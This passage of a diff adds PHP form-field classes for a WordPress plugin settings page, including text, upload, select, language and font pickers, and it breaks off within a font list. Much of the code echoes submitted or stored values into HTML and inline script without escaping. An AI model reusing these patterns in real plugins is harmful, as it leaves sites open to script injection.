+ class wpdreamsType {
4
+ protected static $_instancenumber = 0;
5
+ protected static $_errors = 0;
6
+ protected static $_globalerrormsg = "Only integer values are accepted!";
7
+ function __construct($name, $label, $data, $constraints = null, $errormsg = "") {
8
+ $this->name = $name;
9
+ $this->label = $label;
10
+ $this->constraints = $constraints;
11
+ $this->errormsg = $errormsg;
12
+ $this->data = $data;
13
+ $this->selected = $data;
14
+ $this->isError = false;
15
+ self::$_instancenumber++;
16
+ $this->getType();
17
+ }
18
+ function getData() {
19
+ return $this->data;
20
+ }
21
+ function getSelected() {
22
+ return $this->selected;
23
+ }
24
+ final function getName() {
25
+ return $this->name;
26
+ }
27
+ final function getError() {
28
+ return $this->isError;
29
+ }
30
+ final function getErrorMsg() {
31
+ return $this->errormsg;
32
+ }
33
+ final function setError($error, $errormsg = "") {
34
+ if ($errormsg != "")
35
+ $this->errormsg = $errormsg;
36
+ if ($error) {
37
+ self::$_errors++;
38
+ $this->isError = true;
39
+ }
40
+ }
41
+ protected final function checkData() {
42
+ $this->newData = $_POST[$this->name];
43
+ if (is_array($this->constraints)) {
44
+ foreach ($this->constraints as $key => $val) {
45
+ if ($this->constraints[$key]['op'] == "eq") {
46
+ if ($val['func']($this->newData) == $this->constraints[$key]['val']) {
47
+ ;
48
+ } else {
49
+ $this->setError(true);
50
+ return false;
51
+ }
52
+ } else if ($this->constraints[$key]['op'] == "ge") {
53
+ if ($val['func']($this->newData) >= $this->constraints[$key]['val']) {
54
+ ;
55
+ } else {
56
+ $this->setError(true);
57
+ return false;
58
+ }
59
+ } else {
60
+ if ($val['func']($this->newData) < $this->constraints[$key]['val']) {
61
+ ;
62
+ } else {
63
+ $this->setError(true);
64
+ return false;
65
+ }
66
+ }
67
+ }
68
+ }
69
+ $this->data = $this->newData;
70
+ return true;
71
+ }
72
+ protected function getType() {
73
+ if (isset($_POST[$this->name])) {
74
+ if (!$this->checkData() || $this->getError()) {
75
+ /*errormessage*/
76
+ echo "<div class='errorMsg'>" . (($this->errormsg != "") ? $this->errormsg : self::$_globalerrormsg) . "</div>";
77
+ } else {
78
+ $this->data = $_POST[$this->name];
79
+ }
80
+ }
81
+ }
82
+ static function getErrorNum() {
83
+ return self::$_errors;
84
+ }
85
+ }
86
+ }
87
+
88
+ if (!class_exists("wpdreamsHidden")) {
89
+ class wpdreamsHidden extends wpdreamsType {
90
+ function getType() {
91
+ echo "<input type='hidden' id='wpdreamshidden_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
92
+ }
93
+ }
94
+ }
95
+
96
+ if (!class_exists("wpdreamsInfo")) {
97
+ class wpdreamsInfo extends wpdreamsType {
98
+ function __construct($data) {
99
+ $this->data = $data;
100
+ $this->getType();
101
+ }
102
+ function getType() {
103
+ echo "<img class='infoimage' src='" . plugins_url('/types/icons/info.png', __FILE__) . "' title='" . $this->data . "' />";
104
+ }
105
+ }
106
+ }
107
+
108
+ if (!class_exists("wpdreamsText")) {
109
+ class wpdreamsText extends wpdreamsType {
110
+ function getType() {
111
+ parent::getType();
112
+ echo "<div class='wpdreamsText'>";
113
+ if ($this->label != "")
114
+ echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
115
+ echo "<input type='text' id='wpdreamstext_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
116
+ echo "
117
+ <div class='triggerer'></div>
118
+ </div>";
119
+ }
120
+ }
121
+ }
122
+
123
+ if (!class_exists("wpdreamsTextSmall")) {
124
+ class wpdreamsTextSmall extends wpdreamsType {
125
+ function getType() {
126
+ parent::getType();
127
+ echo "<div class='wpdreamsTextSmall'>";
128
+ if ($this->label != "")
129
+ echo "<label for='wpdreamstextsmall_" . self::$_instancenumber . "'>" . $this->label . "</label>";
130
+ echo "<input class='small' type='text' id='wpdreamstextsmall_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
131
+ echo "
132
+ <div class='triggerer'></div>
133
+ </div>";
134
+ }
135
+ }
136
+ }
137
+
138
+ if (!class_exists("wpdreamsTextarea")) {
139
+ class wpdreamsTextarea extends wpdreamsType {
140
+ function getType() {
141
+ parent::getType();
142
+ echo "<label style='vertical-align: top;' for='wpdreamstextarea_" . self::$_instancenumber . "'>" . $this->label . "</label>";
143
+ echo "<textarea id='wpdreamstextarea_" . self::$_instancenumber . "' name='" . $this->name . "'>" . stripcslashes($this->data) . "</textarea>";
144
+ }
145
+ }
146
+ }
147
+
148
+ if (!class_exists("wpdreamsUpload")) {
149
+ class wpdreamsUpload extends wpdreamsType {
150
+ function getType() {
151
+ parent::getType();
152
+ echo "<div>";
153
+ if ($this->data != "") {
154
+ echo "<img class='preview' rel='#overlay_" . self::$_instancenumber . "' src=" . $this->data . " />";
155
+ } else {
156
+ echo "<img class='preview' style='display:none;' rel='#overlay_" . self::$_instancenumber . "' />";
157
+ }
158
+ echo "<label for='wpdreamsUpload_" . self::$_instancenumber . "'>" . $this->label . "</label>";
159
+ echo "<input type='text' class='wpdreamsUpload' id='wpdreamsUpload_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
160
+ echo "<input class='wpdreamsUpload_button'type='button' value='Upload Image' />";
161
+ echo "<br />Enter an URL or upload an image!";
162
+ echo "<div class='overlay' id='overlay_" . self::$_instancenumber . "'><img src=" . $this->data . " /></div>";
163
+ echo "</div>";
164
+ }
165
+ }
166
+ }
167
+
168
+ if (!class_exists("wpdreamsLabelPosition")) {
169
+ class wpdreamsLabelPosition extends wpdreamsType {
170
+ function __construct($name, $label, $width, $height, $data) {
171
+ $this->constraints = null;
172
+ $this->name = $name;
173
+ $this->label = $label;
174
+ $this->data = $data;
175
+ $this->width = $width;
176
+ $this->height = $height;
177
+ $this->ratio = 400 / $this->width;
178
+ $this->cheight = $this->ratio * $this->height;
179
+ self::$_instancenumber++;
180
+ $this->direction = "";
181
+ $this->duration = "";
182
+ $this->getType();
183
+ }
184
+ function getType() {
185
+ parent::getType();
186
+ $this->processData();
187
+ $inst = self::$_instancenumber;
188
+ echo "
189
+ <div class='labeldrag' id='labeldrag_" . $inst . "' style='height:" . ($this->cheight + 90) . "px;'>
190
+ <div class='inner' style='overflow:auto;width:400px;height:" . $this->cheight . "px;'>
191
+ <script>
192
+ jQuery(document).ready(function() {
193
+ var drag = jQuery('#" . $this->name . "_" . $inst . "').draggable({ containment: 'parent', refreshPositions: true, appendTo: 'body' });
194
+ jQuery('#" . $this->name . "_" . $inst . "').bind( 'dragstop', function(event, ui) {
195
+ var pos = drag.position();
196
+ var ratio = " . $this->ratio . ";
197
+ var hidden = jQuery('#labelposition_hidden_" . $inst . "');
198
+ var duration = jQuery('input[name=\"induration_" . $this->name . "\"]')[0];
199
+ var direction= jQuery('input[name=\"indirection_" . $this->name . "\"]').prev();
200
+ jQuery(hidden).val('duration:'+jQuery(duration).val()+';direction:'+jQuery(direction).val()+';position:'+((pos.top+5)/ratio)+'||'+((pos.left+5)/ratio)+';');
201
+ });
202
+ jQuery('#labeldrag_" . $inst . " input').keyup(function(){
203
+ jQuery('#" . $this->name . "_" . $inst . "').trigger('dragstop');
204
+ });
205
+ jQuery('#labeldrag_" . $inst . " select').change(function(){
206
+ jQuery('#" . $this->name . "_" . $inst . "').trigger('dragstop');
207
+ });
208
+ });
209
+ </script>
210
+ <div class='dragme' style='top:" . (($this->top * $this->ratio) - 5) . "px;left:" . (($this->left * $this->ratio) - 5) . "px;' id='" . $this->name . "_" . $inst . "'>
211
+ </div>
212
+ </div>
213
+ ";
214
+ echo "<div style='margin-top:" . ($this->cheight + 10) . "px;'>";
215
+ new wpdreamsSelect("indirection_" . $this->name, "Animation direction", $this->_direction);
216
+ new wpdreamsText("induration_" . $this->name, "Animation duration (ms)", $this->duration);
217
+ echo "</div>";
218
+ echo "
219
+ </div>
220
+ <div style='clear:both'></div>
221
+ <input type='hidden' id='labelposition_hidden_" . $inst . "' name='" . $this->name . "' value='" . $this->data . "' />
222
+ ";
223
+ echo "
224
+
225
+ ";
226
+ }
227
+ function processData() {
228
+ // string: 'duration:123;direction:bottom-left;position:123||321;'
229
+ $this->data = str_replace("\n", "", $this->data);
230
+ preg_match("/duration:(.*?);/", $this->data, $matches);
231
+ $this->duration = $matches[1];
232
+ if ($this->duration == "")
233
+ $this->duration = 500;
234
+ preg_match("/direction:(.*?);/", $this->data, $matches);
235
+ $this->direction = $matches[1];
236
+ if ($this->direction == "")
237
+ $this->direction = "top-left";
238
+ $this->_direction = "
239
+ Top|top;
240
+ Bottom|bottom;
241
+ Left|left;
242
+ Right|right;
243
+ Bottom-Left|bottom-left;
244
+ Bottom-Right|bottom-right;
245
+ Top-Left|top-left;
246
+ Top-Right|top-right;
247
+ Random|random||
248
+ " . $this->direction;
249
+ preg_match("/position:(.*?);/", $this->data, $matches);
250
+ $this->position = $matches[1];
251
+ $_temp = explode("||", $this->position);
252
+ $this->top = $_temp[0];
253
+ $this->left = $_temp[1];
254
+ }
255
+ }
256
+ }
257
+
258
+ if (!class_exists("wpdreamsImageParser")) {
259
+ class wpdreamsImageParser extends wpdreamsType {
260
+ function __construct($name, $label, $uid, $callback) {
261
+ $this->name = $name;
262
+ $this->uid = $uid;
263
+ $this->label = $label;
264
+ $this->callback = $callback;
265
+ $this->isError = false;
266
+ self::$_instancenumber++;
267
+ $this->getType();
268
+ }
269
+ function getType() {
270
+ echo "<form name='" . $this->name . "' class='wpdreams-ajaxinput' style='height:40px;margin-left: -535px;'>";
271
+ //echo "<label for='wpdreamsAjaxInput_".self::$_instancenumber."'>".$this->label."</label>";
272
+ echo "<input type='hidden' name='callback' value='" . $this->callback . "' />";
273
+ echo "<input type='hidden' name='uid' value='" . $this->uid . "' />";
274
+ echo "<input type='text' id='wpdreamsAjaxInput_" . self::$_instancenumber . "' name='url' value='Enter the feed url here...' />";
275
+ echo "
276
+ <select style='width: 70px;' name='itemsnum'>
277
+ <option value='1'>1</option>
278
+ <option value='2'>2</option>
279
+ <option value='3'>3</option>
280
+ <option value='4'>4</option>
281
+ <option value='5'>5</option>
282
+ <option value='6'>6</option>
283
+ <option value='7'>7</option>
284
+ <option value='8'>8</option>
285
+ <option value='9'>9</option>
286
+ <option value='10'>10</option>
287
+ </select>";
288
+ echo "<select style='width: 130px;' name='itemsnum'>";
289
+ echo "
290
+ <option value='flickr'>Source</option>
291
+ <option value='flickr'>Flickr.com</option>
292
+ <option value='500px'>500px.com</option>
293
+ ";
294
+ echo "</select>";
295
+ echo "<input type='button' class='default' value='Generate!'/>";
296
+ echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" . $this->label . "<img opened='0' style='cursor:pointer;vertical-align:middle;height:20px;' src='" . plugins_url('/types/icons/arrow-right.png', __FILE__) . "' />";
297
+ echo "</form>";
298
+ }
299
+ }
300
+ }
301
+
302
+ if (!class_exists("wpdreamsUploadReset")) {
303
+ class wpdreamsUploadReset extends wpdreamsType {
304
+ function __construct($name, $label, $data, $default_data, $constraints = null, $errormsg = "") {
305
+ $this->name = $name;
306
+ $this->label = $label;
307
+ $this->constraints = $constraints;
308
+ $this->errormsg = $errormsg;
309
+ $this->data = $data;
310
+ $this->default_data = $default_data;
311
+ $this->isError = false;
312
+ self::$_instancenumber++;
313
+ $this->getType();
314
+ }
315
+ function getType() {
316
+ parent::getType();
317
+ echo "<div>";
318
+ if ($this->data != "") {
319
+ echo "<img class='preview' rel='#overlay_" . self::$_instancenumber . "' src=" . $this->data . " />";
320
+ } else {
321
+ echo "<img class='preview' style='display:none;' rel='#overlay_" . self::$_instancenumber . "' />";
322
+ }
323
+ echo "<label for='wpdreamsUploadReset_" . self::$_instancenumber . "'>" . $this->label . "</label>";
324
+ echo "<input type='text' class='wpdreamsUpload' id='wpdreamsUploadReset_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
325
+ echo "<input class='wpdreamsUpload_button' type='button' value='Upload Image' />";
326
+ echo "<input type='button' class='default' name='default' value='Default' />";
327
+ echo "<input type='hidden' value='" . $this->default_data . "' />";
328
+ echo "<br />Enter an URL or upload an image!";
329
+ echo "<div class='overlay' id='overlay_" . self::$_instancenumber . "'><img src='" . $this->data . "'' /></div>";
330
+ echo "</div>";
331
+ }
332
+ }
333
+ }
334
+
335
+ if (!class_exists("wpdreamsSelect")) {
336
+ class wpdreamsSelect extends wpdreamsType {
337
+ function getType() {
338
+ parent::getType();
339
+ $this->processData();
340
+ echo "<div class='wpdreamsSelect'>";
341
+ echo "<label for='wpdreamsselect_" . self::$_instancenumber . "'>" . $this->label . "</label>";
342
+ echo "<select class='wpdreamsselect' id='wpdreamsselect_" . self::$_instancenumber . "' name='" . $this->name . "_select'>";
343
+ foreach ($this->selects as $sel) {
344
+ preg_match('/(?<option>.*?)\\|(?<value>.*)/', $sel, $matches);
345
+ $matches['value'] = trim($matches['value']);
346
+ $matches['option'] = trim($matches['option']);
347
+ if ($matches['value'] == $this->selected)
348
+ echo "<option value='" . $matches['value'] . "' selected='selected'>" . $matches['option'] . "</option>";
349
+ else
350
+ echo "<option value='" . $matches['value'] . "'>" . $matches['option'] . "</option>";
351
+ }
352
+ echo "</select>";
353
+ echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
354
+ echo "<div class='triggerer'></div>
355
+ </div>";
356
+ }
357
+ function processData() {
358
+ //$this->data = str_replace("\n","",$this->data);
359
+ $_temp = explode("||", $this->data);
360
+ $this->selects = explode(";", $_temp[0]);
361
+ $this->selected = trim($_temp[1]);
362
+ }
363
+ final function getData() {
364
+ return $this->data;
365
+ }
366
+ final function getSelected() {
367
+ return $this->selected;
368
+ }
369
+ }
370
+ }
371
+
372
+ if (!class_exists("wpdreamsLanguageSelect")) {
373
+ class wpdreamsLanguageSelect extends wpdreamsType {
374
+
375
+ function getType() {
376
+ parent::getType();
377
+ $this->languages = array(
378
+ 'ab' => 'Abkhazian',
379
+ 'aa' => 'Afar',
380
+ 'af' => 'Afrikaans',
381
+ 'ak' => 'Akan',
382
+ 'sq' => 'Albanian',
383
+ 'am' => 'Amharic',
384
+ 'ar' => 'Arabic',
385
+ 'an' => 'Aragonese',
386
+ 'hy' => 'Armenian',
387
+ 'as' => 'Assamese',
388
+ 'av' => 'Avaric',
389
+ 'ae' => 'Avestan',
390
+ 'ay' => 'Aymara',
391
+ 'az' => 'Azerbaijani',
392
+ 'bm' => 'Bambara',
393
+ 'ba' => 'Bashkir',
394
+ 'eu' => 'Basque',
395
+ 'be' => 'Belarusian',
396
+ 'bn' => 'Bengali',
397
+ 'bh' => 'Bihari',
398
+ 'bi' => 'Bislama',
399
+ 'nb' => 'Bokmal',
400
+ 'bs' => 'Bosnian',
401
+ 'br' => 'Breton',
402
+ 'bg' => 'Bulgarian',
403
+ 'my' => 'Burmese',
404
+ 'ca' => 'Catalan',
405
+ 'km' => 'Central Khmer',
406
+ 'ch' => 'Chamorro',
407
+ 'ce' => 'Chechen',
408
+ 'ny' => 'Chewa',
409
+ 'zh' => 'Chinese',
410
+ 'cu' => 'Church Slavic',
411
+ 'cv' => 'Chuvash',
412
+ 'kw' => 'Cornish',
413
+ 'co' => 'Corsican',
414
+ 'cr' => 'Cree',
415
+ 'hr' => 'Croatian',
416
+ 'cs' => 'Czech',
417
+ 'da' => 'Danish',
418
+ 'dv' => 'Dhivehi',
419
+ 'nl' => 'Dutch',
420
+ 'dz' => 'Dzongkha',
421
+ 'en' => 'English',
422
+ 'eo' => 'Esperanto',
423
+ 'et' => 'Estonian',
424
+ 'ee' => 'Ewe',
425
+ 'fo' => 'Faroese',
426
+ 'fj' => 'Fijian',
427
+ 'fi' => 'Finnish',
428
+ 'fr' => 'French',
429
+ 'ff' => 'Fulah',
430
+ 'gd' => 'Gaelic',
431
+ 'gl' => 'Galician',
432
+ 'lg' => 'Ganda',
433
+ 'ka' => 'Georgian',
434
+ 'de' => 'German',
435
+ 'ki' => 'Gikuyu',
436
+ 'el' => 'Greek',
437
+ 'kl' => 'Greenlandic',
438
+ 'gn' => 'Guarani',
439
+ 'gu' => 'Gujarati',
440
+ 'ht' => 'Haitian',
441
+ 'ha' => 'Hausa',
442
+ 'he' => 'Hebrew',
443
+ 'hz' => 'Herero',
444
+ 'hi' => 'Hindi',
445
+ 'ho' => 'Hiri Motu',
446
+ 'hu' => 'Hungarian',
447
+ 'is' => 'Icelandic',
448
+ 'io' => 'Ido',
449
+ 'ig' => 'Igbo',
450
+ 'id' => 'Indonesian',
451
+ 'ia' => 'Interlingua',
452
+ 'iu' => 'Inuktitut',
453
+ 'ik' => 'Inupiaq',
454
+ 'ga' => 'Irish',
455
+ 'it' => 'Italian',
456
+ 'ja' => 'Japanese',
457
+ 'jv' => 'Javanese',
458
+ 'kn' => 'Kannada',
459
+ 'kr' => 'Kanuri',
460
+ 'ks' => 'Kashmiri',
461
+ 'kk' => 'Kazakh',
462
+ 'rw' => 'Kinyarwanda',
463
+ 'kv' => 'Komi',
464
+ 'kg' => 'Kongo',
465
+ 'ko' => 'Korean',
466
+ 'ku' => 'Kurdish',
467
+ 'kj' => 'Kwanyama',
468
+ 'ky' => 'Kyrgyz',
469
+ 'lo' => 'Lao',
470
+ 'la' => 'Latin',
471
+ 'lv' => 'Latvian',
472
+ 'lb' => 'Letzeburgesch',
473
+ 'li' => 'Limburgan',
474
+ 'ln' => 'Lingala',
475
+ 'lt' => 'Lithuanian',
476
+ 'lu' => 'Luba-Katanga',
477
+ 'mk' => 'Macedonian',
478
+ 'mg' => 'Malagasy',
479
+ 'ms' => 'Malay',
480
+ 'ml' => 'Malayalam',
481
+ 'mt' => 'Maltese',
482
+ 'gv' => 'Manx',
483
+ 'mi' => 'Maori',
484
+ 'mr' => 'Marathi',
485
+ 'mh' => 'Marshallese',
486
+ 'ro' => 'Moldavian',
487
+ 'mn' => 'Mongolian',
488
+ 'na' => 'Nauru',
489
+ 'nv' => 'Navajo',
490
+ 'ng' => 'Ndonga',
491
+ 'ne' => 'Nepali',
492
+ 'nd' => 'North Ndebele',
493
+ 'se' => 'Northern Sami',
494
+ 'no' => 'Norwegian',
495
+ 'nn' => 'Norwegian Nynorsk',
496
+ 'ie' => 'Occidental',
497
+ 'oc' => 'Occitan',
498
+ 'oj' => 'Ojibwa',
499
+ 'or' => 'Oriya',
500
+ 'om' => 'Oromo',
501
+ 'os' => 'Ossetian',
502
+ 'pi' => 'Pali',
503
+ 'fa' => 'Persian',
504
+ 'pl' => 'Polish',
505
+ 'pt' => 'Portuguese',
506
+ 'pa' => 'Punjabi',
507
+ 'ps' => 'Pushto',
508
+ 'qu' => 'Quechua',
509
+ 'ro' => 'Romanian',
510
+ 'rm' => 'Romansh',
511
+ 'rn' => 'Rundi',
512
+ 'ru' => 'Russian',
513
+ 'sm' => 'Samoan',
514
+ 'sg' => 'Sango',
515
+ 'sa' => 'Sanskrit',
516
+ 'sc' => 'Sardinian',
517
+ 'sr' => 'Serbian',
518
+ 'sn' => 'Shona',
519
+ 'ii' => 'Sichuan Yi',
520
+ 'sd' => 'Sindhi',
521
+ 'si' => 'Sinhalese',
522
+ 'sk' => 'Slovak',
523
+ 'sl' => 'Slovenian',
524
+ 'so' => 'Somali',
525
+ 'st' => 'Southern Sotho',
526
+ 'nr' => 'South Ndebele',
527
+ 'es' => 'Spanish',
528
+ 'su' => 'Sundanese',
529
+ 'sw' => 'Swahili',
530
+ 'ss' => 'Swati',
531
+ 'sv' => 'Swedish',
532
+ 'tl' => 'Tagalog',
533
+ 'ty' => 'Tahitian',
534
+ 'tg' => 'Tajik',
535
+ 'ta' => 'Tamil',
536
+ 'tt' => 'Tatar',
537
+ 'te' => 'Telugu',
538
+ 'th' => 'Thai',
539
+ 'bo' => 'Tibetan',
540
+ 'ti' => 'Tigrinya',
541
+ 'to' => 'Tonga',
542
+ 'ts' => 'Tsonga',
543
+ 'tn' => 'Tswana',
544
+ 'tr' => 'Turkish',
545
+ 'tk' => 'Turkmen',
546
+ 'tw' => 'Twi',
547
+ 'uk' => 'Ukrainian',
548
+ 'ur' => 'Urdu',
549
+ 'ug' => 'Uyghur',
550
+ 'uz' => 'Uzbek',
551
+ 've' => 'Venda',
552
+ 'vi' => 'Vietnamese',
553
+ 'vo' => 'VolapA1k',
554
+ 'wa' => 'Walloon',
555
+ 'cy' => 'Welsh',
556
+ 'fy' => 'Western Frisian',
557
+ 'wo' => 'Wolof',
558
+ 'xh' => 'Xhosa',
559
+ 'yi' => 'Yiddish',
560
+ 'yo' => 'Yoruba',
561
+ 'za' => 'Zhuang',
562
+ 'zu' => 'Zulu'
563
+ );
564
+ echo "<div class='wpdreamsLanguageSelect'>";
565
+ echo "<label for='wpdreamslanguageselect_" . self::$_instancenumber . "'>" . $this->label . "</label>";
566
+ echo "<select class='wpdreamsselect' id='wpdreamsselect_" . self::$_instancenumber . "' name='" . $this->name . "_select'>";
567
+ foreach ($this->languages as $k=>$v) {
568
+ if ($k == $this->data)
569
+ echo "<option value='" . $k . "' selected='selected'>" . $v . "</option>";
570
+ else
571
+ echo "<option value='" . $k . "'>" . $v . "</option>";
572
+ }
573
+ echo "</select>";
574
+ echo "<input type='hidden' value='" . $this->data . "' name='" . $this->name . "'>";
575
+ echo "<div class='triggerer'></div>
576
+ </div>";
577
+ }
578
+ final function getData() {
579
+ return $this->data;
580
+ }
581
+ }
582
+ }
583
+
584
+
585
+
586
+
587
+ if (!class_exists("wpdreamsFont")) {
588
+ class wpdreamsFont extends wpdreamsType {
589
+ function getType() {
590
+ parent::getType();
591
+ wp_register_script('wpdreams-fonts', plugin_dir_url(__FILE__) . '/types/fonts.js', array(
592
+ 'jquery',
593
+ 'media-upload',
594
+ 'thickbox'
595
+ ));
596
+ wp_enqueue_script('wpdreams-fonts');
597
+ $this->data = str_replace('\\', "", stripcslashes($this->data));
598
+ preg_match("/family:(.*?);/", $this->data, $_fonts);
599
+ $this->font = $_fonts[1];
600
+ preg_match("/weight:(.*?);/", $this->data, $_weight);
601
+ $this->weight = $_weight[1];
602
+ preg_match("/color:(.*?);/", $this->data, $_color);
603
+ $this->color = $_color[1];
604
+ preg_match("/size:(.*?);/", $this->data, $_size);
605
+ $this->size = $_size[1];
606
+ preg_match("/height:(.*?);/", $this->data, $_lineheight);
607
+ $this->lineheight = $_lineheight[1];
608
+ $applied_style = "font-family:" . ($this->font) . ";font-weight:" . $this->weight . ";line-height:".$this->lineheight.";color:" . $this->color;
609
+ echo $this->getScript();
610
+ echo "<div class='wpdreamsFont'>
611
+ <fieldset>
612
+ <legend>" . $this->label . "</legend>
613
+ ";
614
+ echo "<label for='wpdreamsfont_" . self::$_instancenumber . "' style=\"" . $applied_style . "\">Test Text :)</label>";
615
+ echo "<select class='wpdreamsfont' id='wpdreamsfont_" . self::$_instancenumber . "' name='" . self::$_instancenumber . "_select'>";
616
+ $options = '
617
+ <option disabled>-------Classic Webfonts-------</option>
618
+ <option value="\'Arial\', Helvetica, sans-serif" style="font-family:Arial, Helvetica, sans-serif">Arial, Helvetica, sans-serif</option>
619
+ <option value="\'Arial Black\', Gadget, sans-serif" style="font-family:\'Arial Black\', Gadget, sans-serif">"Arial Black", Gadget, sans-serif</option>
620
+ <option value="\'Comic Sans MS\', cursive" style="font-family:\'Comic Sans MS\', cursive">"Comic Sans MS", cursive</option>
621
+ <option value="\'Courier New\', Courier, monospace" style="font-family:\'Courier New\', Courier, monospace">"Courier New", Courier, monospace</option>
622
+ <option value="\'Georgia\', serif" style="font-family:Georgia, serif">Georgia, serif</option>
623
+ <option value="\'Impact\', Charcoal, sans-serif" style="font-family:Impact, Charcoal, sans-serif">Impact, Charcoal, sans-serif</option>
624
+ <option value="\'Lucida Console\', Monaco, monospace" style="font-family:\'Lucida Console\', Monaco, monospace">"Lucida Console", Monaco, monospace</option>
625
+ <option value="\'Lucida Sans Unicode\', \'Lucida Grande\', sans-serif" style="font-family:\'Lucida Sans Unicode\', \'Lucida Grande\', sans-serif">"Lucida Sans Unicode", "Lucida Grande", sans-serif</option>
626
+ <option value="\'Palatino Linotype\', \'Book Antiqua\', Palatino, serif" style="font-family:\'Palatino Linotype\', \'Book Antiqua\', Palatino, serif">"Palatino Linotype", "Book Antiqua", Palatino, serif</option>
627
+ <option value="\'Tahoma\', Geneva, sans-serif" style="font-family:Tahoma, Geneva, sans-serif">Tahoma, Geneva, sans-serif</option>
628
+ <option value="\'Times New Roman\', Times, serif" style="font-family:\'Times New Roman\', Times, serif">"Times New Roman", Times, serif</option>
629
+ <option value="\'Trebuchet MS\', Helvetica, sans-serif" style="font-family:\'Trebuchet MS\', Helvetica, sans-serif">"Trebuchet MS", Helvetica, sans-serif</option>
630
+ <option value="\'Verdana\', Geneva, sans-serif" style="font-family:Verdana, Geneva, sans-serif">Verdana, Geneva, sans-serif</option>
631
+ <option value="\'Symbol\'" style="font-family:Symbol">Symbol</option>
632
+ <option value="\'Webdings\'" style="font-family:Webdings">Webdings</option>
633
+ <option value="\'Wingdings\', \'Zapf Dingbats\'" style="font-family:Wingdings, \'Zapf Dingbats\'">Wingdings, "Zapf Dingbats"</option>
634
+ <option value="\'MS Sans Serif\', Geneva, sans-serif" style="font-family:\'MS Sans Serif\', Geneva, sans-serif">"MS Sans Serif", Geneva, sans-serif</option>
635
+ <option value="\'MS Serif\', \'New York\', serif" style="font-family:\'MS Serif\', \'New York\', serif">"MS Serif", "New York", serif</option>
636
+ <option disabled>-------Google Webfonts-------</option>
637
+ <option value="Allan" style="font-family: Allan,Allan;"> Allan</option>
638
+ <option value="Allerta" style="font-family: Allerta,Allerta;"> Allerta</option>
639
+ <option value="Allerta Stencil" style="font-family: Allerta Stencil,Allerta Stencil;"> Allerta Stencil</option>
640
+ <option value="Anonymous Pro" style="font-family: Anonymous Pro,Anonymous Pro;"> Anonymous Pro</option>
641
+ <option value="Arimo" style="font-family: Arimo,Arimo;"> Arimo</option>
642
+ <option value="Arvo" style="font-family: Arvo,Arvo;"> Arvo</option>
643
+ <option value="Bentham" style="font-family: Bentham,Bentham;"> Bentham</option>
644
+ <option value="Buda" style="font-family: Buda,Buda;"> Buda</option>
645
+ <option value="Cabin" style="font-family: Cabin,Cabin;"> Cabin</option>
646
+ <option value="Calligraffitti" style="font-family: Calligraffitti,Calligraffitti;"> Calligraffitti</option>
647
+ <option value="Cantarell" style="font-family: Cantarell,Cantarell;"> Cantarell</option>
648
+ <option value="Cardo" style="font-family: Cardo,Cardo;"> Cardo</option>
649
+ <option value="Cherry Cream Soda" style="font-family: Cherry Cream Soda,Cherry Cream Soda;"> Cherry Cream Soda</option>
650
+ <option value="Chewy" style="font-family: Chewy,Chewy;"> Chewy</option>
651
+ <option value="Coda" style="font-family: Coda,Coda;"> Coda</option>
652
+ <option value="Coming Soon" style="font-family: Coming Soon,Coming Soon;"> Coming Soon</option>
653
+ <option value="Copse" style="font-family: Copse,Copse;"> Copse</option>
654
+ <option value="Corben" style="font-family: Corben,Corben;"> Corben</option>
655
+ <option value="Cousine" style="font-family: Cousine,Cousine;"> Cousine</option>
656
+ <option value="Covered By Your Grace" style="font-family: Covered By Your Grace,Covered By Your Grace;"> Covered By Your Grace</option>
657
+ <option value="Crafty Girls" style="font-family: Crafty Girls,Crafty Girls;"> Crafty Girls</option>
658
+ <option value="Crimson Text" style="font-family: Crimson Text,Crimson Text;"> Crimson Text</option>
659
+ <option value="Crushed" style="font-family: Crushed,Crushed;"> Crushed</option>
660
+ <option value="Cuprum" style="font-family: Cuprum,Cuprum;"> Cuprum</option>
661
+ <option value="Droid Sans" style="font-family: Droid Sans,Droid Sans;"> Droid Sans</option>
662
+ <option value="Droid Sans Mono" style="font-family: Droid Sans Mono,Droid Sans Mono;"> Droid Sans Mono</option>
663
+ <option value="Droid Serif" style="font-family: Droid Serif,Droid Serif;"> Droid Serif</option>
664
+ <option value="Fontdiner Swanky" style="font-family: Fontdiner Swanky,Fontdiner Swanky;"> Fontdiner Swanky</option>
665
+ <option value="GFS Didot" style="font-family: GFS Didot,GFS Didot;"> GFS Didot</option>
666
+ <option value="GFS Neohellenic" style="font-family: GFS Neohellenic,GFS Neohellenic;"> GFS Neohellenic</option>
667
+ <option value="Geo" style="font-family: Geo,Geo;"> Geo</option>
668
+ <option value="Gruppo" style="font-family: Gruppo,Gruppo;"> Gruppo</option>
669
+ <option value="Hanuman" style="font-family: Hanuman,Hanuman;"> Hanuman</option>
670
+ <option value="Homemade Apple" style="font-family: Homemade Apple,Homemade Apple;"> Homemade Apple</option>
671
+ <option value="IM Fell DW Pica" style="font-family: IM Fell DW Pica,IM Fell DW Pica;"> IM Fell DW Pica</option>
672
+ <option value="IM Fell DW Pica SC" style="font-family: IM Fell DW Pica SC,IM Fell DW Pica SC;"> IM Fell DW Pica SC</option>
673
+ <option value="IM Fell Double Pica" style="font-family: IM Fell Double Pica,IM Fell Double Pica;"> IM Fell Double Pica</option>
674
+ <option value="IM Fell Double Pica SC" style="font-family: IM Fell Double Pica SC,IM Fell Double Pica SC;"> IM Fell Double Pica SC</option>
675
+ <option value="IM Fell English" style="font-family: IM Fell English,IM Fell English;"> IM Fell English</option>
676
+ <option value="IM Fell English SC" style="font-family: IM Fell English SC,IM Fell English SC;"> IM Fell English SC</option>
677
+ <option value="IM Fell French Canon" style="font-family: IM Fell French Canon,IM Fell French Canon;"> IM Fell French Canon</option>
678
+ <option value="IM Fell French Canon SC" style="font-family: IM Fell French Canon SC,IM Fell French Canon SC;"> IM Fell French Canon SC</option>
679
+ <option value="IM Fell Great Primer" style="font-family: IM Fell Great Primer,IM Fell Great Primer;"> IM Fell Great Primer</option>
680
+ <option value="IM Fell Great Primer SC" style="font-family: IM Fell Great Primer SC,IM Fell Great Primer SC;"> IM Fell Great Primer SC</option>
681
